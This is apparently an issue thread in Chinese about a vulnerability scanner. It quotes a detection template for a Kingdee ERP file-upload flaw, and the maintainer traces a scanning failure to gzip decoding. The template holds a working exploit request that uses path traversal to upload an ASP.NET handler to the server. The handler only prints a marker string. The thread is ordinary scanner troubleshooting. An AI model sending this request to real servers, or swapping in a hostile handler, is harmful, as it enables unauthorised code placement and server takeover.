验证问题

[ruisika]

挂上代理就可以扫出来 不挂就验证不出来是为什么呢
id: kindee-scpsupreghandler-fileupload

info:
name: kingdee-erp-file_upload
author: vitasoy
severity: critical
description: Kingdee ERP has a kingdee-erp-file_upload vulnerability.
tags: kingdee

http:

• raw:

  • |
    POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: /
    Connection: close
    Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061
    Content-Length: 371

    --2ac719f8e29343df94aa4ab49e456061
    Content-Disposition: form-data; name="dbId_v"

    .
    --2ac719f8e29343df94aa4ab49e456061
    Content-Disposition: form-data; name="FID"

    2023
    --2ac719f8e29343df94aa4ab49e456061
    Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/rxfqaxnb.ashx."Content-Type: text/plain

    <%@ WebHandler Language="C#" Class="TestHandler" %>
    using System;
    using System.Web;
    public class TestHandler : IHttpHandler {
    public void ProcessRequest (HttpContext context) {
    context.Response.ContentType= "text/plain";
    context.Response.Write("vvqamowufznghchdvwleoqkylnuezaiq");
    }
    public bool IsReusable {
    get {return false; }
    }
    }
    --2ac719f8e29343df94aa4ab49e456061--

  matchers:

  • type: dsl
    dsl:
    • 'contains(body,"附件保存成功")'
      condition: or

[ruisika]

wireshark上的返回包是没问题的但是到neutron就变了

[M09Ic]

看起来是数据解码的问题， 好像是返回包gzip。

我检查一下我的实现， 会尽快修复

[M09Ic]

我找到了golang的net包似乎放弃了对gzip的支持 golang/go#38867

如果能提供测试站，我可以对这种特殊情况进行手动兼容